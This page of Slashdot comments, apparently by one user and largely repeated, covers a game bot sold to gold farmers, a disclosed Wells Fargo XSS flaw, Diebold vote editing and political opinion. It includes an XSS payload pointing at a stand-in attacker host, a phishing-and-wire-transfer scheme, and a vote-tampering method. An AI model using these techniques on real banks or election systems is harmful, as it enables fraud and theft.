What you are essentially telling everybody is that all the data is finite, is not so big and is out there and once you gathered it in your own usable formats all the algorithms just somehow seem to fall into place with easy decisions such as if CurrentXP > NextQuestXP.
Um, no.
What I'm saying is that the _combat_ and _navigation_ portions of a bot are relatively easy. If you play WoW, you will notice that most people, when soloing, have a very repetitive pattern. It may be pull with pet, DoT, DoT, fear, rinse, repeat. It may be pull with a frostbolt, then arcane missles until the mob gets there, then freeze him in place. Perhaps you psychic scream then heal when health is less than a certain percentage. Those are simple to map genetically, and I did. It still took a long time to gather the data and calculate.
It would have been easier to hard-code, but that would have defeated the purpose.
As for the "easy decisions such as if CurrentXP > NextQuestXP" part, no, it doesn't work that way.
In my bot, the AI was lovingly dubbed "skitzo", due to the way it worked. It had many different goals, from resting, to gathering, to repairing, to fleeing, to combat and quests. Each "tick" (I did this asynchronously, so there wasn't a _direct_ mapping to frames), the goals would recalculate their priority, and the bot would (more or less) do whatever the highest priority was.
The reasoning behind this was to better emulate the player reasoning - for example, if your gear is completely broken, you will stop to repair. If it's slightly broken, you might repair if it's convenient. As such, the repair weight was calculated based on both how damaged your gear was, and how far (as the crow flies) the repair guy was from the straight line between you and your target. Resupply was handled the same way.
Similar logic was used for combat vs flee - if you've got aggro, the weight for combat is higher. If you're about to die, or repair is urgent, etc., flee will be higher.
The weights were set using the oh-so-scientific method of "I made up numbers that sounded good", and tweaked them after extensive playtesting. One of the changes I made was adding "stickiness" to tasks, and some randomness to avoid "little lost robot" syndrome where it wanders between two objectives helplessly.
The bot worked well, and I sold it (before the dalies came out) to some farmers. The market has since dropped a bunch, making it much less worthwhile. In addition, the addon I used to interface with WoW (InnerSpace/ISXWoW) has been detected, and is still detected, so the bot would no longer work anyway.
i know its frustrating to farm 8-10 hours/day but that's not a reason to come here and brag about things that you wish you'd do.
I don't farm. Heck, I don't even like WoW. For me, the fun in a game is exceeding the rules - proving I can beat the system.
Why is that better than "gold farming"? First: lots of materials are much harder to farm (e.g. to get a Large Prismatic Shard, you need to be in an instance, get a "blue" drop, disenchant/destroy the drop, and get a shard as result... bots hardly can do that solo). It's not hard for a bot to get in a group - there are lots of (for example) HealBots. I bought a 60 priest off eBay (some time ago), and had a number of groups say I was the best healer they ever had.
Also, running an instance with bots really isn't that hard, since the game forces you into fairly defined roles to begin with. The game really doesn't require that much skill.
One of the projects I did (back before ISXWarden stopped working) was a genetic algorithm AI bot. It started with no knowledge of the game whatsoever beyond what one gets inspecting the spellbook.
The logger went through and took snapshots while instance grinding of all players and MOBs. How many enemies, who they were targeting, what spells were cast, how much health/mana everyone had, player levels, etc.
Next came the learning stage. Each player was examined in the Armory to determine their talent points spent in each tree.
Random algorithms were generated, including tests and actions. This was done for each class and talent tree, and the algorithms were run. The ones that behaved most like the recorded data were kept, and used to spawn more of them.
For simplicity sake, the bot didn't abort casting willingly, since it would greatly increase the number of permutations, and didn't seem to matter much in my (not particulary objective) opinion.
After about 2 months of part-time data gathering, and a month or so of "reproduction" - I had algorithms that behaved like very good players. They wouldn't do all the inventory management, etc., but that was all hard-coded.
The computer doesn't play the game "better". If you've ever encountered one out in the wild you'd notice that they're truly idiotic little critters that play terribly. It's just that they AUTOMATE the process. This allows to things: easy powerleveling or easy gold farming.
There's a slight flaw with your argument. You only know you've encountered one in the wild if it's so mind-numbingly stupid that you can tell. The ones that play _better_ don't get noticed.
Some of them do play better than humans. Genetic algorithms work wonderfully when constrained to as few options as WoW gives you. In fact, it's even possible to train by observing the in-game data (player health, # of mobs, mob health %, player/mob mana, class types, cooldown times, etc.), and using that to build a genetic algorithm that plays like a player.
This gives you a bot that plays like a player.
You can extract terrain data directly from the.mpqs, use it to build a map. When going from point A to point B, assign a higher weight to points within a road, with points in the "middle" of a road higher than those on the edges.
Data-mining (or crawling thottbot) allows you to determine the average levels for mobs in an area, this also gets factored into the cost for the pathing algorithm.
To save space, the entire world is mapped at a very low resolution. There are then several intermediate resolutions used for more fine-grained navigation. Once you get close, MOBs are within the Potentially Viewable Set, and are sent to the client, allowing for detailed pathing to be done by the client.
So, to get from point A to point B, one loads the world map (with it's associated costs), loads the source and destination areas from the medium-res map, then paths the client area using live data. As you approach the next area in the path, the medium-level maps are loaded in order.
This gives you a bot that knows how to get somewhere.
Data-mining quests, combined with location data (start location, etc.), quest type (acquisition vs kill X vs escort) allows one to determine relatively quickly what quests can be stacked together easily to minimize grinding. Using the navigation system, one can determine the most efficient way to get to quests, and which ones will be fastest.
The only real issue with this approach is that you have to keep track of the XP the client has - if the XP goes up when the bot is not playing, you have to exclude all quests that _could_ have been completed, unless you want to run the risk of wasted time.
Yes, I wrote a WoW bot, and it plays almost exactly like I do. It won't get on more than 8-10 hours a day, and the start times and play times vary. I always supervise my bots - they check in, and alert me when people talk to them, try to group, etc. You would never know it's a bot.
My bot even automates Auctioneer, and is smart enough to know whether something is worth more by itself, as a stack, or disenchanted. It will mail things to alts, shove stuff in guild vaults (good if you end up banned), snipe auctions when the server is less busy. It uses neural networking to determine whether or not an action is likely to turn a profit, helping avoid issues where things get dumped on the market and there's a glut. It plays the odds and determines how likely I am to get burned on the deal.
This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.
So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.
So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.
So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.
I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.
On the bright side, now that a deal has been made in Washington, we just might be able to hold of global total systemic economic failure.
Sadly, no. It will collapse, and there's not really anything that can be done at this point.
Just ask the GAO. We had over 40 Trillion in unfunded liabilities in 2005 - before Freddie, Fannie, Bailouts, AIG, etc.
The FDIC insures approximatly 4.5 Trillion with around $55 billion, the Federal Reserve is overexposed (see non-borrowed in http://www.federalreserve.gov/releases/h3/Current). Real inflation is quite high, but we play games with statistics. As an example, the CPI is derived from Consumer Expenditure Surveys for 2005 and 2006. The fact that cars are cheaper now is reflected in the CPI. The fact that people aren't _buying_ as many cars is not.
It's true that inflation can help decrease the actual cost of debt; however, it comes at a price. It doesn't make any sense to loan at a lower rate than inflation - if inflation is at 12%, loans will price that in, as well as the amount necessary for the risk assumed and the profit required.
So, higher interest rates, plus trillions and trillions and trillions in debt. Given the federal spending was 2.7 trillion in 2007, and the federal revenue was 2.6, paying 4+ Trillion in interest is going to really suck.
Yeah, the numbers sound screwy - welcome to government accounting and cash vs. accrual. When we promise to fund something, we incur a liability for the amount above and beyond expected tax revenue. This is often entitlement programs like Medicare/Medicaid/Social Security. This is important, and can't just be ignored - if we default, it destroys the incentive people have to lend to us.
If we fail to bail out implied guarantees (like the FDIC - above and beyond the amounts we actually have insurance for), there are far-reaching implications. If the FDIC were, in fact, to only bail out $50 billion in a crisis - the banks would pretty much fail overnight.
What we really need is a polition who will cut spending, raise taxes as much as possible without completly destroying the economy, cut government services to the absolute necessary amount, then pay down this debt. The left hate the cut spending; the right hate the increased taxes, and the unions hate cut employment. Anyone who would actually do what it took to have the slightest possibility of saving this economy stands no chance of actually getting the chance to do it. In short, we're doomed.
Running a household by borrowing money to meet your expenses long-term is doomed to failure. If you couldn't afford things this month, how will you afford it next month when you have the same problem, plus interest? It doesn't work for a household, and it doesn't work for a government.
So what immense advantages would electronic voting have to make up for this fundamental problem, that will never change, no matter what the electronic solution will be?
Well, if you use a computer to print a paper ballot, you get easy to understand, easy to check, with a fallback.
What advantages does it provide? 1) Truly secret ballots for the blind 2) Multi-Lingual ballots 3) The ability to provide much greater detail about things like voter propositions. In Arizona, the "gives teachers raises" prop really was a "add 5 days of school and pay the teachers for it" prop. 4) Decreased cost, as one can use smaller ballots. 5) Increased (near 100%) accuracy - scan it optically, then check the barcode to ensure there's a match. 6) No hanging chads 7) The ability to have spoken words 8) The ability to have pictures of candidates (if desired) 9) The ability to zoom in on ballots (for the visually impaired).
Re:It gives you something just as bad...
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He's the fundamental difference: on a console you put in the CD which is needed to authenticate that you have the disk, but it doesn't actually update the firmware of your system. When you eject the disk, the system is exactly the same as it was before.
You're rather misinformed.
The wii does that, the PSP and PS3 do that, and the Xbox 360 does that. The XBOX did that too, and the PS2 allowed for modifications of the "Your System Configuration" save to retroactively patch the system to fix issues with games. This was what led to the "PS2 Independence" exploit.
To do things like close security holes in their DRM, they include new firmware on the disks of games that come out, and require firmware updates before you are permitted to play. The Xbox 360, for example, has fuses that it blows in the processor. Older firmware refuses to run if the fuses are blown, newer firmware refuses to run if it isn't. This prevents you from downgrading your firmware.
Games have also been known to check or alter the dashboard, which is basically the "OS".
On a console, you have a manufacturer controlled device that only runs manufacturer-approved software. The disk can be used to authenticate itself, or update the entire OS or firmware. And, due to DRM, cryptography, and poor documentation, it's significantly harder to have any clue what's going on. The system might be exactly the same, but you have no way of knowing.
Consoles are _way_ worse than PCs are - the worst DRM I've seen for the PC involved slight sector changes or drivers. No DRM yet (AFAIK) goes so far as to mandate firmware or bios upgrades.
Is this "zapper" the same technology used to remove votes from voting machnes?
No. For Diebold machines, they just store it in a Microsoft Access database, and don't keep a running total (except where required by law).
So, you open it up in Access (the machine I got to work on had no password on the db), and change it to whatever you want. No third-party tools required.
I don't cheat on my taxes, and I have to pay more because of the people who do.
Well, that depends on whether or not spending is constrained by tax revenue.
Let me ask you this: the government discovers that they have more money in the coffers than they actually spent. Do they:
a) Return the money, since they were able to provided the services they needed to without it, or b) Spend the money anyway, then rack up lots of debt for good measure?
Tax evasion is a problem, but unchecked spending is more of one. Looking at the current behavior of the US and local governments, if everyone paid the taxes that they were legally required to, as well as the ones they aren't - so-called "loopholes" like taking investments as income, rather than capital gains, taking up smoking and gambling, buying luxury goods like gas-guzzling hummers, etc., revenues might go up for the government. Even if they did, it would be spent on wonderful programs like automated unconstitutional spying on american phone calls, unconstitutional spying on Internet providers, unconstitutional raids on political dissidents, etc.
Besides, if companies paid all the taxes that aren't legally avoidable, it would be so phenomenally detrimental to business in this country. The recession's bad enough, we don't need taxes making it worse.
On a somewhat funny note, tax evasion can actually make things more "fair". The big guys can do things like licensing deals with Ireland (who doesn't tax software licensing revenues), and greatly reduce their effective tax burdens. This, of course, leaves a relatively high burden on the smaller businesses. The case is similar with income taxes, only they use trusts (often offshore), capital gains, and tax shelters.
So, a middle class man who cheats on his taxes has a closer burden to a "rich" man who pays 100% of what is legally unavoidable. The same goes for businesses. Wouldn't it make more sense to cut spending to reasonable levels, and have a more even plan to begin with?
If two eyewitnesses, sworn officers no less, who apparently had ample time to look at the evidence before somebody shut the machine down, aren't enough to get 'beyond a reasonable doubt' then we better fucking empty the prisons.
It's not, and we (largely) should. Non-violent drug offenders don't belong in jail - if anywhere, rehab would make more sense.
A number of years ago, I played with illegal fireworks. I was stupid. It happens.
The police in the town I lived in are famous for walking in and claiming you "consented" to a search. As such, when I left the apartment, I locked the door behind me. I also, rather politely, informed the officer that I was not familiar with the law, and as such I could not consent to a search until I had a chance to talk to an attorney.
They tried everything to avoid getting a search warrant, starting with the "come on, what do you have to hide", moving on to the "It might help your case if you cooperate", and finally moving on to pulling out a knife, calling it a "throwdown knife", and informing me that "it's used for planting on the body of the person you just shot so you can claim self defense, so how about letting us in?". The only reason I didn't end up letting them in was that a) I finally got a call back from an attorney, and b) some other people showed up, forcing the police officer to quit threatening me.
Police lie. Suspects lie. If there's no real evidence, then it's not "beyond a reasonable doubt". The word of police officers by itself isn't sufficient, and "well it looked like child porn in the 3 minutes I had to look at it" isn't either. Sometimes that means that guilty people go free, and that's a small price to pay. Convicting everyone who goes to court is very _effective_ at ensuring the guilty don't go free, but it's still not a good idea.
Why should an encrypted harddrive be any different? As far as I'm concerned, if the cops have a warrant, refusing to divulge the password is no different that refusing to let the cops into your house. The process of getting a warrant should be every bit as rigorous as any other warrant (well, at least any other warrant 7 years ago).
From a practical standpoint, it's problematic to force someone to produce something that can't be guaranteed to exist. People forget things. Putting someone (potentially) in a position where they are punished for failing to comply with an impossible demand is bad.
From a philosophical standpoint, a passphrase, unlike a key, is something in your head. It may be easier on the prosecution to compel testimony, but the constitution isn't about making the lives of the prosecutors easy. In fact, the opposite is true.
In most cases, you _know_ whether you are guilty or innocent, but the constitution explicitly forbids forcing self-incrimination. This helps avoid "rubber hose" confessions, etc.
Let me put it this way: Suppose we have someone who has committed multiple crimes. This isn't to necessarily say that this is a bad thing - we've had some really bad and/or constitutional laws over the years - from the Fugitive Slave Act, the Executive Order that excluded Japanese from the west coast (we interned them in "War Relocation Camps"), prohibition, you name it. He has evidence which would prove his guilt, encrypted on his laptop.
This individual is accused of a crime, and there is sufficient evidence to grant a warrant. Whether he's guilty of the crime he is accused of or not is irrelevant. The laptop is seized.
At this point, we have a dilemma. Compelling him to disclose the password would compel him to provide incriminating evidence against himself, which would be a violation of the 5th amendment. It's also impossible to know whether or not this is the case until such infringement has already occurred.
Further, from a practical standpoint, it's practically guaranteed that any given laptop has evidence of wrongdoing, either civil or criminal. We are subject to an estimated 10,000 laws at any given time, plus administrative policies given force of law by incorporation. It's effectively impossible to develop modern software without patent infringements. Using any modern browser will create transitory copies of images, HTML, etc. from the sites you visit.
So, compelling any password can be reasonably assumed to provide evidence of some guilt, and it is unethical, immoral, and illegal to compel someone to testify against themself.
Seriously, if he's innocent would he really prefer to do the time than have a officer of the law view the contents of his laptop? If he's not a moron (or if he has a good attorney), absolutely.
I had a laptop siezed in a fireworks case. I had never worried much about encryption, as my laptop is rarely out of my sight.
Long story shut, a couple months later they are threatening to send me to jail for posession of child pornography. My attorney finally manages to get the "evidence" from them.
Looking at the cache, and the referer, we were able to determine what the one offending picture was. It was a single blurry thumbnail-sized picture of the profile of a clothed woman, which was loaded automatically as the result of a Google image search for nothing related to pornography, or child pornography, with safesearch on.
As would be expected, my attorney got them to shut up, and no charges ended up being pressed. They were just trying to scare me, and it worked. I spent several months wondering if anyone had gotten on my laptop, if I was infected, etc. Simply being charged, with no conviction, would have screwed me over for the rest of my life, given the kinds of work I do. Sure, you can get it expunged, but that's no guarantee that it won't show up in a background check. By the time you get the documentation to Intellius or the like, it's been shared all over the place.
I don't think I have anything to hide, but one can never really be sure. All of my hard disks are now encrypted with TrueCrypt whole disk encryption.
Put it another way - since I have nothing to hide, then why should I be spied upon? If I did have something to hide, why would I permit it? Like checking receipts on the way out the door at a store, it's never in my best interest to give up my rights and submit.
It's likely. And even makes sense. What happens when there isn't enough of an antidote for everyone and you warn the public of a possible attack? So who do you warn?
Ah, but here's the problem with that scenario. We largely went to war because of Anthrax. Remember the so-called "mobile bioweapons lab", etc.? The official explanation is that he worked alone. So, if there was intelligence information warning of an anthrax attack, where did it come from?
If you don't verify a certificate against something, it's utterly useless against Man-In-The-Middle attacks.
I take a server, generate my own cert and key, and present myself as that server. I then take your data, and forward it to the server, and forward the response to you.
This leaves me with all of the data, making SSL worthless.
So, yeah, I'm going to go with "moron" on this one.
Some people do absolutely need to bring babies. If you can find a reliable means to prevent babies from screaming then I'd be all for it. A plastic bag?
Phones can cause interference, but it really depends. The plane makes a difference (bigger planes tend to have less issues), as does the phone.
As an extreme example, I have a phone that was dropped a couple times - when it's about to get a phone call, it makes loud noises on any speakers within 10 feet.
I had it configured to use email (timed pull); in a conference room, it kept setting off the polycom phone speaker every time it would try to pull data. Had to leave it in the next room.
When I replaced that phone with one of the same model, I could leave it 6 inches from the speakers and get a slight hum.
After a couple changes for readability purposes: Your cellphone carrier can update all of your cellphones firmware, whether [the phone is] on or off. If you think they can't turn on the microphone and listen as well, you're living in [a] dreamworld.
Some phones do have the ability to have updates pushed down to them by the carrier. Generally speaking, phones with internet ability are more likely to allow this - the more "corporate friendly" the device, the easier it's likely to be.
Personally, I'm a (palm) Treo user - it doesn't have daemons listening which would allow the carrier to do this, even if I have internet access. Firmware updates are a big deal - it's not something that can be done remotely. Applications can be downloaded using the browser, but it's a manual process.
Windows mobile phones generally don't have this functionality, either - it would be difficult to hide, and there are too many things that could go wrong, as well as differences in hardware. Java-based phones make this easier.
The perfect example of this is the BlackBerry - they even Advertise this functionality.
Get a PS2 game, get a couple cheap mats, and give it a go.
As you get better at DDR, the cheap pads start getting in the way. You can get some pretty decent metal pads, like the Cobalt Flux, or just go whole hog and get a thousand-pound arcade machine.
Almost every night, I bike from Harvard to MIT (couple miles), and go play an hour or more of DDR before going back.
I play DDR on doubles (both sides at once), on heavy. It burns a _lot_ of calories.
I've gone from a 36 inch to a 32 inch waist in the past 2 months, and dropped over 40 pounds since I got here. Unfortunately, I'm not trying to - being 6'10" and 170 pounds isn't healthy. It is great exercise, though.
Even if the pirates are somehow right and information truly isn't property in some way, they still lose, because they look like thieves in front of the majority of people who still pay for things.
If you put a bunch of lobsters in a tank, they will pull each other down, even if it were possible to escape on their own. For a species that's supposedly way more advanced than lobsters, we seem to have a lot in common.
Or, in SlashDot meme form: 1) Pass unconstitutional, illegal, or simply egregious law or tax 2) Laugh as people turn on each other - "I paid mine; you must pay yours" 3) Profit
Of course, nobody stops to ask if we've gone too far in the first place. Sure, tax evaders indirectly raise my taxes, but what if everyone's taxes are too high to begin with?
You mean that people get PUNISHED for committing crimes? The horror!
When looking at a "corrections" system - it's important to look at _why_ one should be doing this:
1) Protection. Some people are too dangerous to allow in the general populace. 2) Deterrent. This helps with the cost-benefit analysis of criminals - "Is this robbery worth 5 years?" If not, they aren't going to burglarize. Note: This only works as far as it factors into calculations. If it's a "heat of the moment" kind of thing, the criminal might not be thinking about the consequences. 3) Restitution. If there is a victim, restitution should be made as much as possible.
As far as the actual "punishment" part - why? The crime has been committed, and can't be undone. You can't deter this crime, only future crimes. What does "punishment" get you other than a sense of smugness?
I'm pro death penalty, but not because of the "revenge" aspect. Sometimes, people need to be put down for the same reasons that rabid dogs do. It shouldn't be emotionally satisfying, though.
Slashdot Mirror
What you are essentially telling everybody is that all the data is finite, is not so big and is out there and once you gathered it in your own usable formats all the algorithms just somehow seem to fall into place with easy decisions such as if CurrentXP > NextQuestXP.
Um, no.
What I'm saying is that the _combat_ and _navigation_ portions of a bot are relatively easy. If you play WoW, you will notice that most people, when soloing, have a very repetitive pattern. It may be pull with pet, DoT, DoT, fear, rinse, repeat. It may be pull with a frostbolt, then arcane missles until the mob gets there, then freeze him in place. Perhaps you psychic scream then heal when health is less than a certain percentage. Those are simple to map genetically, and I did. It still took a long time to gather the data and calculate.
It would have been easier to hard-code, but that would have defeated the purpose.
As for the pathing, there's a lot of work already done on that. No biggie.
As for the "easy decisions such as if CurrentXP > NextQuestXP" part, no, it doesn't work that way.
In my bot, the AI was lovingly dubbed "skitzo", due to the way it worked. It had many different goals, from resting, to gathering, to repairing, to fleeing, to combat and quests. Each "tick" (I did this asynchronously, so there wasn't a _direct_ mapping to frames), the goals would recalculate their priority, and the bot would (more or less) do whatever the highest priority was.
The reasoning behind this was to better emulate the player reasoning - for example, if your gear is completely broken, you will stop to repair. If it's slightly broken, you might repair if it's convenient. As such, the repair weight was calculated based on both how damaged your gear was, and how far (as the crow flies) the repair guy was from the straight line between you and your target. Resupply was handled the same way.
Similar logic was used for combat vs flee - if you've got aggro, the weight for combat is higher. If you're about to die, or repair is urgent, etc., flee will be higher.
The weights were set using the oh-so-scientific method of "I made up numbers that sounded good", and tweaked them after extensive playtesting. One of the changes I made was adding "stickiness" to tasks, and some randomness to avoid "little lost robot" syndrome where it wanders between two objectives helplessly.
The bot worked well, and I sold it (before the dalies came out) to some farmers. The market has since dropped a bunch, making it much less worthwhile. In addition, the addon I used to interface with WoW (InnerSpace/ISXWoW) has been detected, and is still detected, so the bot would no longer work anyway.
i know its frustrating to farm 8-10 hours/day but that's not a reason to come here and brag about things that you wish you'd do.
I don't farm. Heck, I don't even like WoW. For me, the fun in a game is exceeding the rules - proving I can beat the system.
/reported
Have fun with that. I sold the bot off, and quit the game.
Why is that better than "gold farming"? First: lots of materials are much harder to farm (e.g. to get a Large Prismatic Shard, you need to be in an instance, get a "blue" drop, disenchant/destroy the drop, and get a shard as result ... bots hardly can do that solo).
It's not hard for a bot to get in a group - there are lots of (for example) HealBots. I bought a 60 priest off eBay (some time ago), and had a number of groups say I was the best healer they ever had.
Also, running an instance with bots really isn't that hard, since the game forces you into fairly defined roles to begin with. The game really doesn't require that much skill.
One of the projects I did (back before ISXWarden stopped working) was a genetic algorithm AI bot. It started with no knowledge of the game whatsoever beyond what one gets inspecting the spellbook.
The logger went through and took snapshots while instance grinding of all players and MOBs. How many enemies, who they were targeting, what spells were cast, how much health/mana everyone had, player levels, etc.
Next came the learning stage. Each player was examined in the Armory to determine their talent points spent in each tree.
Random algorithms were generated, including tests and actions. This was done for each class and talent tree, and the algorithms were run. The ones that behaved most like the recorded data were kept, and used to spawn more of them.
For simplicity sake, the bot didn't abort casting willingly, since it would greatly increase the number of permutations, and didn't seem to matter much in my (not particulary objective) opinion.
After about 2 months of part-time data gathering, and a month or so of "reproduction" - I had algorithms that behaved like very good players. They wouldn't do all the inventory management, etc., but that was all hard-coded.
The computer doesn't play the game "better". If you've ever encountered one out in the wild you'd notice that they're truly idiotic little critters that play terribly. It's just that they AUTOMATE the process. This allows to things: easy powerleveling or easy gold farming.
There's a slight flaw with your argument. You only know you've encountered one in the wild if it's so mind-numbingly stupid that you can tell. The ones that play _better_ don't get noticed.
Some of them do play better than humans. Genetic algorithms work wonderfully when constrained to as few options as WoW gives you. In fact, it's even possible to train by observing the in-game data (player health, # of mobs, mob health %, player/mob mana, class types, cooldown times, etc.), and using that to build a genetic algorithm that plays like a player.
This gives you a bot that plays like a player.
You can extract terrain data directly from the .mpqs, use it to build a map. When going from point A to point B, assign a higher weight to points within a road, with points in the "middle" of a road higher than those on the edges.
Data-mining (or crawling thottbot) allows you to determine the average levels for mobs in an area, this also gets factored into the cost for the pathing algorithm.
To save space, the entire world is mapped at a very low resolution. There are then several intermediate resolutions used for more fine-grained navigation. Once you get close, MOBs are within the Potentially Viewable Set, and are sent to the client, allowing for detailed pathing to be done by the client.
So, to get from point A to point B, one loads the world map (with it's associated costs), loads the source and destination areas from the medium-res map, then paths the client area using live data. As you approach the next area in the path, the medium-level maps are loaded in order.
This gives you a bot that knows how to get somewhere.
Data-mining quests, combined with location data (start location, etc.), quest type (acquisition vs kill X vs escort) allows one to determine relatively quickly what quests can be stacked together easily to minimize grinding. Using the navigation system, one can determine the most efficient way to get to quests, and which ones will be fastest.
The only real issue with this approach is that you have to keep track of the XP the client has - if the XP goes up when the bot is not playing, you have to exclude all quests that _could_ have been completed, unless you want to run the risk of wasted time.
Yes, I wrote a WoW bot, and it plays almost exactly like I do. It won't get on more than 8-10 hours a day, and the start times and play times vary. I always supervise my bots - they check in, and alert me when people talk to them, try to group, etc. You would never know it's a bot.
My bot even automates Auctioneer, and is smart enough to know whether something is worth more by itself, as a stack, or disenchanted. It will mail things to alts, shove stuff in guild vaults (good if you end up banned), snipe auctions when the server is less busy. It uses neural networking to determine whether or not an action is likely to turn a profit, helping avoid issues where things get dumped on the market and there's a glut. It plays the odds and determines how likely I am to get burned on the deal.
This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.
So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.
So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.
So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.
I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.
On the bright side, now that a deal has been made in Washington, we just might be able to hold of global total systemic economic failure.
Sadly, no. It will collapse, and there's not really anything that can be done at this point.
Just ask the GAO. We had over 40 Trillion in unfunded liabilities in 2005 - before Freddie, Fannie, Bailouts, AIG, etc.
The FDIC insures approximatly 4.5 Trillion with around $55 billion, the Federal Reserve is overexposed (see non-borrowed in http://www.federalreserve.gov/releases/h3/Current). Real inflation is quite high, but we play games with statistics. As an example, the CPI is derived from Consumer Expenditure Surveys for 2005 and 2006. The fact that cars are cheaper now is reflected in the CPI. The fact that people aren't _buying_ as many cars is not.
It's true that inflation can help decrease the actual cost of debt; however, it comes at a price. It doesn't make any sense to loan at a lower rate than inflation - if inflation is at 12%, loans will price that in, as well as the amount necessary for the risk assumed and the profit required.
So, higher interest rates, plus trillions and trillions and trillions in debt. Given the federal spending was 2.7 trillion in 2007, and the federal revenue was 2.6, paying 4+ Trillion in interest is going to really suck.
Yeah, the numbers sound screwy - welcome to government accounting and cash vs. accrual. When we promise to fund something, we incur a liability for the amount above and beyond expected tax revenue. This is often entitlement programs like Medicare/Medicaid/Social Security. This is important, and can't just be ignored - if we default, it destroys the incentive people have to lend to us.
If we fail to bail out implied guarantees (like the FDIC - above and beyond the amounts we actually have insurance for), there are far-reaching implications. If the FDIC were, in fact, to only bail out $50 billion in a crisis - the banks would pretty much fail overnight.
What we really need is a polition who will cut spending, raise taxes as much as possible without completly destroying the economy, cut government services to the absolute necessary amount, then pay down this debt. The left hate the cut spending; the right hate the increased taxes, and the unions hate cut employment. Anyone who would actually do what it took to have the slightest possibility of saving this economy stands no chance of actually getting the chance to do it. In short, we're doomed.
Running a household by borrowing money to meet your expenses long-term is doomed to failure. If you couldn't afford things this month, how will you afford it next month when you have the same problem, plus interest? It doesn't work for a household, and it doesn't work for a government.
So what immense advantages would electronic voting have to make up for this fundamental problem, that will never change, no matter what the electronic solution will be?
Well, if you use a computer to print a paper ballot, you get easy to understand, easy to check, with a fallback.
What advantages does it provide?
1) Truly secret ballots for the blind
2) Multi-Lingual ballots
3) The ability to provide much greater detail about things like voter propositions. In Arizona, the "gives teachers raises" prop really was a "add 5 days of school and pay the teachers for it" prop.
4) Decreased cost, as one can use smaller ballots.
5) Increased (near 100%) accuracy - scan it optically, then check the barcode to ensure there's a match.
6) No hanging chads
7) The ability to have spoken words
8) The ability to have pictures of candidates (if desired)
9) The ability to zoom in on ballots (for the visually impaired).
but it's still less than infinity, the number I should have. The number every other game (BioShock and Mass Effect aside) gives me.
That's not entirely accurate...
He's the fundamental difference: on a console you put in the CD which is needed to authenticate that you have the disk, but it doesn't actually update the firmware of your system. When you eject the disk, the system is exactly the same as it was before.
You're rather misinformed.
The wii does that, the PSP and PS3 do that, and the Xbox 360 does that. The XBOX did that too, and the PS2 allowed for modifications of the "Your System Configuration" save to retroactively patch the system to fix issues with games. This was what led to the "PS2 Independence" exploit.
To do things like close security holes in their DRM, they include new firmware on the disks of games that come out, and require firmware updates before you are permitted to play. The Xbox 360, for example, has fuses that it blows in the processor. Older firmware refuses to run if the fuses are blown, newer firmware refuses to run if it isn't. This prevents you from downgrading your firmware.
Games have also been known to check or alter the dashboard, which is basically the "OS".
On a console, you have a manufacturer controlled device that only runs manufacturer-approved software. The disk can be used to authenticate itself, or update the entire OS or firmware. And, due to DRM, cryptography, and poor documentation, it's significantly harder to have any clue what's going on. The system might be exactly the same, but you have no way of knowing.
Consoles are _way_ worse than PCs are - the worst DRM I've seen for the PC involved slight sector changes or drivers. No DRM yet (AFAIK) goes so far as to mandate firmware or bios upgrades.
Is this "zapper" the same technology used to remove votes from voting machnes?
No. For Diebold machines, they just store it in a Microsoft Access database, and don't keep a running total (except where required by law).
So, you open it up in Access (the machine I got to work on had no password on the db), and change it to whatever you want. No third-party tools required.
I don't cheat on my taxes, and I have to pay more because of the people who do.
Well, that depends on whether or not spending is constrained by tax revenue.
Let me ask you this: the government discovers that they have more money in the coffers than they actually spent. Do they:
a) Return the money, since they were able to provided the services they needed to without it, or
b) Spend the money anyway, then rack up lots of debt for good measure?
Tax evasion is a problem, but unchecked spending is more of one. Looking at the current behavior of the US and local governments, if everyone paid the taxes that they were legally required to, as well as the ones they aren't - so-called "loopholes" like taking investments as income, rather than capital gains, taking up smoking and gambling, buying luxury goods like gas-guzzling hummers, etc., revenues might go up for the government. Even if they did, it would be spent on wonderful programs like automated unconstitutional spying on american phone calls, unconstitutional spying on Internet providers, unconstitutional raids on political dissidents, etc.
Besides, if companies paid all the taxes that aren't legally avoidable, it would be so phenomenally detrimental to business in this country. The recession's bad enough, we don't need taxes making it worse.
On a somewhat funny note, tax evasion can actually make things more "fair". The big guys can do things like licensing deals with Ireland (who doesn't tax software licensing revenues), and greatly reduce their effective tax burdens. This, of course, leaves a relatively high burden on the smaller businesses. The case is similar with income taxes, only they use trusts (often offshore), capital gains, and tax shelters.
So, a middle class man who cheats on his taxes has a closer burden to a "rich" man who pays 100% of what is legally unavoidable. The same goes for businesses. Wouldn't it make more sense to cut spending to reasonable levels, and have a more even plan to begin with?
